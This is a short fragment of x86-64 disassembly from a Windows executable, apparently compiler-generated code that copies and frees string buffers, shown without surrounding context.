jne 0x140007ed1
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x140007ef0
mov qword [rsp + 0x30], 6
mov eax, dword [r8]
mov dword [rsp + 0x20], eax
movzx eax, word [r8 + 4]
mov word [rsp + 0x24], ax
mov byte [rsp + 0x26], dil
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140007efe
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.140006580
mov qword [rbx], rdi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140007f75
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007f70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140068d6c
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret